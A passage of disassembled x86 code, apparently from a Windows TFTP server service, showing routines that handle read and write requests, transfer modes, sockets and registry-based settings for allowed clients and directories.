ja loc_1002EB3
mov ebx, ds:htons
push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
mov [esi+3Ah], ax
lea eax, [edi+0Ch]
push 10h ; tolen
xor ebx, ebx
push eax ; to
push ebx ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
mov [ebp+lpCriticalSection], eax
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002E74
cmp [esi+10028h], ebx
mov [esi+1000Ch], ebx
jnz short loc_1002E5F
mov dword ptr [esi+10000h], 3E8h
loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj
mov ecx, [esi+10000h]
push ecx
push ecx
push eax
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj
cmp [ebp+lpCriticalSection], 0FFFFFFFFh
jnz short loc_1002E80
call ds:WSAGetLastError ; WSAGetLastError
loc_1002E80: ; CODE XREF: sub_1002CE6+192j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
jnb short loc_1002EB3
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002EA3
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj
mov [esi+10004h], ebx
mov dword ptr [esi+10008h], 4
loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j
; sub_1002CE6+B0j ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002CE6 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p
; sub_1002EC8+2Bp
xor eax, eax
retn 8
sub_1002EC3 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+8]
call sub_10028B5
test eax, eax
jz short loc_1002F0A
mov ecx, [eax+24h]
dec ecx
jz short loc_1002F03
dec ecx
jz short loc_1002EFA
dec ecx
jz short loc_1002EF1
dec ecx
jnz short loc_1002F0A
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EFA: ; CODE XREF: sub_1002EC8+18j
push esi ; int
push eax ; lpCriticalSection
call sub_1002CE6
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002F03: ; CODE XREF: sub_1002EC8+15j
push esi ; int
push eax ; lpCriticalSection
call sub_1002B5E
loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj
; sub_1002EC8+1Ej ...
pop esi
retn 4
sub_1002EC8 endp
; =============== S U B R O U T I N E =======================================
sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p
; sub_100333A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jbe short loc_1002F27
loc_1002F16: ; CODE XREF: sub_1002F0E+17j
mov ecx, [esp+arg_0]
cmp byte ptr [eax+ecx], 0
jz short loc_1002F2C
inc eax
cmp eax, [esp+arg_4]
jb short loc_1002F16
loc_1002F27: ; CODE XREF: sub_1002F0E+6j
xor eax, eax
locret_1002F29: ; CODE XREF: sub_1002F0E+21j
retn 8
; ---------------------------------------------------------------------------
loc_1002F2C: ; CODE XREF: sub_1002F0E+10j
push 1
pop eax
jmp short locret_1002F29
sub_1002F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p
; DATA XREF: sub_1001A91+1FCo
name = sockaddr ptr -28h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
to = dword ptr -8
Src = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
and [ebp+var_10], 0
and [ebp+var_14], 0
push esi
mov esi, [ebp+arg_0]
push edi
push 0FFBAh
lea ebx, [esi+36h]
push ebx
mov [ebp+var_18], ebx
call sub_1002F0E
test eax, eax
jz loc_100330F
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
push 10034h ; Size
repne scasb
not ecx
dec ecx
lea eax, [ecx+ebx+1]
mov [ebp+Src], eax
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003331
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
rep stosd
push dword ptr [esi+10h] ; in
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [esi+0Eh]
push eax ; hostshort
call ds:htons ; htons
mov edi, [ebp+Src]
mov [ebp+var_C], edi
mov al, [edi]
test al, al
jz short loc_1002FCD
loc_1002FB5: ; CODE XREF: sub_1002F31+97j
movsx eax, al
push eax ; C
call ds:tolower ; tolower
mov [edi], al
mov al, [edi+1]
inc edi
pop ecx
test al, al
jnz short loc_1002FB5
mov [ebp+var_C], edi
loc_1002FCD: ; CODE XREF: sub_1002F31+82j
mov edi, [ebp+Src]
mov eax, offset aNetascii ; "netascii"
loc_1002FD5: ; CODE XREF: sub_1002F31+C0j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_1002FF7
test cl, cl
jz short loc_1002FF3
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_1002FF7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1002FD5
loc_1002FF3: ; CODE XREF: sub_1002F31+AEj
xor eax, eax
jmp short loc_1002FFC
; ---------------------------------------------------------------------------
loc_1002FF7: ; CODE XREF: sub_1002F31+AAj
; sub_1002F31+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_1002FFC: ; CODE XREF: sub_1002F31+C4j
test eax, eax
jz short loc_1003037
mov edi, [ebp+Src]
mov eax, offset aOctet ; "octet"
loc_1003008: ; CODE XREF: sub_1002F31+F3j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100302A
test cl, cl
jz short loc_1003026
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100302A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1003008
loc_1003026: ; CODE XREF: sub_1002F31+E1j
xor eax, eax
jmp short loc_100302F
; ---------------------------------------------------------------------------
loc_100302A: ; CODE XREF: sub_1002F31+DDj
; sub_1002F31+EBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100302F: ; CODE XREF: sub_1002F31+F7j
test eax, eax
jnz loc_10032F6
loc_1003037: ; CODE XREF: sub_1002F31+CDj
mov edi, [ebp+var_18]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esi+1FFADh]
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_1003071
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10030CB
; ---------------------------------------------------------------------------
loc_1003071: ; CODE XREF: sub_1002F31+137j
push [ebp+to]
push offset Data
call sub_10039D6
test eax, eax
jnz short loc_1003093
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz short loc_10030A4
loc_1003093: ; CODE XREF: sub_1002F31+14Fj
push [ebp+Src]
push offset byte_1005D58
call sub_10039D6
test eax, eax
jnz short loc_10030B0
loc_10030A4: ; CODE XREF: sub_1002F31+160j
call ds:_errno ; _errno
push 0
push 2
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030B0: ; CODE XREF: sub_1002F31+171j
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10030CF
push offset aFileNameTooLon ; "File name too long"
loc_10030CB: ; CODE XREF: sub_1002F31+13Ej
push 0
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030CF: ; CODE XREF: sub_1002F31+193j
push 8000h
push [ebp+Src]
call ds:_open ; _open
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebx+1002Ch], eax
jnz short loc_1003116
mov esi, ds:_errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
call esi ; _errno
push 0
push 1
loc_1003100: ; CODE XREF: sub_1002F31+17Dj
; sub_1002F31+19Cj
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
jmp loc_1003308
; ---------------------------------------------------------------------------
loc_1003116: ; CODE XREF: sub_1002F31+1B7j
mov edi, ds:_lseek
push 2
push 0
push eax
call edi ; _lseek
mov esi, [ebp+arg_0]
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_1003140
push 0
push 0
mov [esi+24h], eax
push dword ptr [ebx+1002Ch]
call edi ; _lseek
add esp, 0Ch
loc_1003140: ; CODE XREF: sub_1002F31+1FBj
cmp eax, 0FFFFFFFFh
jnz short loc_1003159
mov edi, ds:_errno
call edi ; _errno
call edi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp short loc_1003197
; ---------------------------------------------------------------------------
loc_1003159: ; CODE XREF: sub_1002F31+212j
push 0 ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+Src], edi
jz short loc_1003191
mov eax, [esi+1Ch]
and word ptr [ebp+name.sa_data], 0
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push edi ; s
mov [ebp+name.sa_family], 2
call ds:bind ; bind
test eax, eax
jz short loc_10031A3
loc_1003191: ; CODE XREF: sub_1002F31+23Cj
call ds:WSAGetLastError ; WSAGetLastError
loc_1003197: ; CODE XREF: sub_1002F31+226j
push offset aInsufficientRe ; "Insufficient resources"
push 0
jmp loc_10032FA
; ---------------------------------------------------------------------------
loc_10031A3: ; CODE XREF: sub_1002F31+25Ej
push ebx ; lpCriticalSection
mov [esi+8], edi
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor edi, edi
push edi ; lpName
push edi ; bInitialState
push edi ; bManualReset
push edi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, edi
mov [ebx+0FFF8h], eax
jz short loc_10031E8
push 2 ; char
push eax ; hEventObject
push [ebp+Src] ; s
call sub_100188E
cmp eax, edi
mov [ebx+0FFFCh], eax
jnz short loc_10031F3
loc_10031E8: ; CODE XREF: sub_1002F31+2A0j
call ds:GetLastError
jmp loc_1003312
; ---------------------------------------------------------------------------
loc_10031F3: ; CODE XREF: sub_1002F31+2B5j
add ebx, 18h
push ebx
call sub_100287F
push 1
pop esi
push [ebp+Src]
mov [ebp+var_14], esi
call sub_10028B5
mov ebx, eax
cmp ebx, edi
jz loc_1003312
lea edi, [ebx+10028h]
lea eax, [ebx+38h]
push edi ; int
push eax ; int
lea eax, [ebx+10024h]
mov [ebp+var_10], esi
push eax ; int
mov eax, [ebp+var_C]
push esi ; int
mov esi, [ebp+arg_0]
inc eax
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003312
cmp [edi], eax
jz short loc_1003255
mov eax, [esi+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_100325F
; ---------------------------------------------------------------------------
loc_1003255: ; CODE XREF: sub_1002F31+311j
mov dword ptr [ebx+10000h], 3E8h
loc_100325F: ; CODE XREF: sub_1002F31+322j
mov eax, [ebx+10000h]
push 0
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push 1
pop edi
mov [ebx+24h], edi
mov eax, [esi+20h]
push esi
push ebx
mov [ebx+10018h], eax
mov [ebx+10014h], di
call sub_10027E1
push 10h ; tolen
xor ecx, ecx
push [ebp+to] ; to
cmp eax, ecx
mov [ebx+1000Ch], ecx
push ecx ; flags
push dword ptr [ebx+10020h] ; len
jz short loc_10032D9
lea eax, [ebx+38h]
push eax ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
mov ecx, [ebx+1001Ch]
cmp ecx, [esi+20h]
jnb short loc_10032E9
mov [ebx+10030h], edi
jmp short loc_10032E9
; ---------------------------------------------------------------------------
loc_10032D9: ; CODE XREF: sub_1002F31+386j
add esi, 0FFF1h
push esi ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
loc_10032E9: ; CODE XREF: sub_1002F31+39Ej
; sub_1002F31+3A6j
cmp eax, 0FFFFFFFFh
jnz short loc_1003312
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_10032F6: ; CODE XREF: sub_1002F31+100j
push 0 ; int
push 4 ; hostshort
loc_10032FA: ; CODE XREF: sub_1002F31+26Dj
push dword ptr [esi+8] ; s
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax ; int
push esi ; to
loc_1003308: ; CODE XREF: sub_1002F31+1E0j
call sub_100230A
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_100330F: ; CODE XREF: sub_1002F31+27j
mov ebx, [ebp+arg_0]
loc_1003312: ; CODE XREF: sub_1002F31+2BDj
; sub_1002F31+2DDj ...
test ebx, ebx
jz short loc_1003331
cmp [ebp+var_10], 0
jz short loc_1003323
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003323: ; CODE XREF: sub_1002F31+3E9j
cmp [ebp+var_14], 0
jnz short loc_1003331
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003331: ; CODE XREF: sub_1002F31+50j
; sub_1002F31+3E3j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_1002F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo
name = sockaddr ptr -28h
to = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
s = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
and [ebp+var_10], 0
and [ebp+var_14], 0
push ebx
push esi
push edi
push 10034h ; Size
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003731
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
push 0FFBAh
rep stosd
mov eax, [ebp+arg_0]
lea esi, [eax+36h]
push esi
mov [ebp+s], esi
call sub_1002F0E
test eax, eax
jz loc_1003712
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebp+arg_0]
not ecx
push dword ptr [edi+10h] ; in
dec ecx
lea esi, [ecx+esi+1]
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [edi+0Eh]
push eax ; hostshort
call ds:htons ; htons
cmp byte ptr [esi], 0
mov edi, esi
mov [ebp+var_C], edi
jz short loc_10033E1
loc_10033BC: ; CODE XREF: sub_100333A+A2j
movsx eax, byte ptr [edi]
push eax ; C
call ds:isupper ; isupper
test eax, eax
movsx eax, byte ptr [edi]
pop ecx
jz short loc_10033D6
push eax ; C
call ds:tolower ; tolower
pop ecx
loc_10033D6: ; CODE XREF: sub_100333A+92j
mov [edi], al
inc edi
cmp byte ptr [edi], 0
jnz short loc_10033BC
mov [ebp+var_C], edi
loc_10033E1: ; CODE XREF: sub_100333A+80j
mov eax, offset aNetascii ; "netascii"
mov edi, esi
loc_10033E8: ; CODE XREF: sub_100333A+CAj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100340A
test cl, cl
jz short loc_1003406
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100340A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_10033E8
loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+s]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+s]
push offset byte_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+Src]
call ds:_open ; _open
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+s], edi
jnz short loc_1003546
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov word ptr [ebp+name.sa_data], si
mov esi, [ebp+arg_0]
push 10h ; namelen
mov [ebp+name.sa_family], 2
mov eax, [esi+1Ch]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push eax ; name
push edi ; s
call ds:bind ; bind
test eax, eax
jz short loc_100358A
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax ; int
lea eax, [ebx+38h]
push eax ; int
lea eax, [ebx+10024h]
push eax ; int
mov eax, [ebp+var_C]
inc eax
push 2 ; int
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi ; char
push eax ; hEventObject
push [ebp+s] ; s
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:GetLastError
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+s]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:htons
push 4
pop edi
push edi ; hostshort
call esi ; htons
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax ; hostshort
call esi ; htons
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h ; tolen
lea eax, [ebx+38h]
push [ebp+to] ; to
push 0 ; flags
push dword ptr [ebx+10020h] ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:_errno ; _errno
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0 ; int
push 4 ; hostshort
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8] ; s
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx ; int
push eax ; to
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call _chkstk ; _chkstk
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:_write ; _write
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
hKey = dword ptr -10h
Type = dword ptr -0Ch
cbData = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+hKey]
push ebx
xor ebx, ebx
push eax ; phkResult
push 0F003Fh ; samDesired
push ebx ; ulOptions
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h ; hKey
mov [ebp+var_4], ebx
call ds:RegOpenKeyExA ; RegOpenKeyExA
cmp eax, ebx
jz short loc_10037F6
call ds:GetLastError
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:RegQueryValueExA
jnz short loc_100383C
lea eax, [ebp+cbData]
mov [ebp+cbData], 1F4h
push eax ; lpcbData
lea eax, [ebp+Type]
push (offset dword_1005E07+1) ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset ValueName ; "directory"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003831
call ds:GetLastError
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+Type], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+cbData]
pop edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset Data ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aClients ; "clients"
push [ebp+hKey] ; hKey
mov [ebp+cbData], edi
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003866
call ds:GetLastError
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+Type], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D20 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aMasters ; "masters"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003896
call ds:GetLastError
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+Type], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D58 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aReadable ; "readable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038C6
call ds:GetLastError
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+Type], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D90 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aWritable ; "writable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038F6
call ds:GetLastError
